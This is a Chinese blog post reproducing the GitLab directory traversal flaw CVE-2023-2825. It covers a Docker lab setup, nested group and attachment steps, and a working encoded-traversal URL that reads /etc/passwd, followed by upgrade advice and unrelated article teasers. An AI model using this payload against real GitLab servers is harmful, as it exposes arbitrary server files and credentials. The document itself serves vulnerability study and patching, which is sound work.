GitLab 目录遍历漏洞复现(CVE-2023-2825)

news/2025/2/12 12:41:30/

0x01 产品简介

        Gitlab是目前被广泛使用的基于git的开源代码管理平台, 基于Ruby on Rails构建, 主要针对软件开发过程中产生的代码和文档进行管理,同时可以搭建Web服务。

0x02 漏洞概述

     GitLab 存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用该漏洞读取服务器上的任意文件。

0x03 影响范围

GitLab CE 16.0.0

GitLab EE 16.0.0

0x04 复现环境

  Docker搭建GitLab CE 16.0.0

  拉取镜像

docker pull gitlab/gitlab-ce:16.0.0-ce.0

 创建并开启容器

docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0

查看root密码

docker exec -it 容器id /bin/bashcat /etc/gitlab/initial_root_password

 0x05 漏洞复现

前提条件:

需要一个至少嵌套五层以上可公开访问到的group项目  而且存在附件(issus 评论 等)
或普通用户权限 手动创建 多层group和项目

 一直循环以上操作嵌套5个以上(我这边创建了9个)

 然后在group9个下面创建个项目

 

 项目下面创建一个issues,并上传一个附件(我这边上传了一个txt文件 )

可以看到,回显了上传路径,拼接路径尝试访问附件

回显了文件内容,构造payload读取任意文件

http://your-ip/group1/group2/group3/group4/group5/group6/group7/group8/group9/123/uploads/dde0c86647fa452e76b94c9588d7fcbb/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

 0x06 修复建议

 目前官方已发布安全修复更新,受影响用户可以升级到  GitLab CE/EE 16.0.1。

 


http://www.ppmy.cn/news/92666.html

相关文章

2024王道数据结构考研丨第一章:绪论

2024王道数据结构考研笔记专栏将持续更新,欢迎 点此 收藏,共同交流学习… 文章目录 第一章:绪论1.1数据结构的基本概念1.2数据结构的三要素1.3算法的基本概念1.4算法的时间复杂度1.5算法的空间复杂度 第一章:绪论 1.1数据结构的基…

C++中的多态,以及多态的实现、以及实现多态的两个特例。

一、 多态是什么? 通俗点说,就是多种形态。具体点就是不同对象完成某种事情,会产生不一样的状态。 举个例子:就好比:买票的时候,普通人、学生、军人等等,他们买票有不同的结果,普通人…

Maven 项目管理构建工具详解

一、Maven 基础概念 1.1 Maven 简介 Maven 是一个基于项目对象模型(POM)的项目管理和构建工具。Maven 通过一系列的标准化的插件和约定来帮助开发人员管理项目中的依赖库、构建产物、文档等各种资源。Maven 可以轻松构建 Java 应用程序、Web 应用程序和…

【实现一个简单的前后端交互页面】

🎉🎉🎉点进来你就是我的人了博主主页:🙈🙈🙈戳一戳,欢迎大佬指点! 欢迎志同道合的朋友一起加油喔🤺🤺🤺 目录 客户端与服务器之间的通信流程 理解当前案例…

Linux常规基础配置

通过VMware成功安装RHEL7服务器后,为了能够正常使用,需要对其进行常规的一些基础配置,主要有:关闭防火墙与selinux,设置主机名,配置虚拟机IP地址使其能够与外网ping通,配置IP地址与主机名映射&a…

Python可视化神器Seaborn入门系列——kdeplot

Seaborn是基于matplotlib的Python可视化库。 它提供了一个高级界面来绘制有吸引力的统计图形。Seaborn其实是在matplotlib的基础上进行了更高级的API封装,从而使得作图更加容易,不需要经过大量的调整就能使你的图变得精致。但应强调的是,应该…

5月面试太难,吃透这份软件测试面试笔记后,成功跳槽涨薪30K

5月开始,生活工作渐渐步入正轨,但金三银四却没有往年顺利。昨天跟一位高级架构师的前辈聊天时,聊到今年的面试。有两个感受,一个是今年面邀的次数比往年要低不少,再一个就是很多面试者准备明显不足。不少候选人能力其实…

python 模块pymysql模块,连接mysql数据库

mysql安装教程 mysql语法大全 一、安装 pip install pymysql二、连接数据库 import pymysql # 打开数据库连接 conn pymysql.connect(host"localhost",user"testuser",password"test123",database"TESTDB" ) cursor conn.cursor(…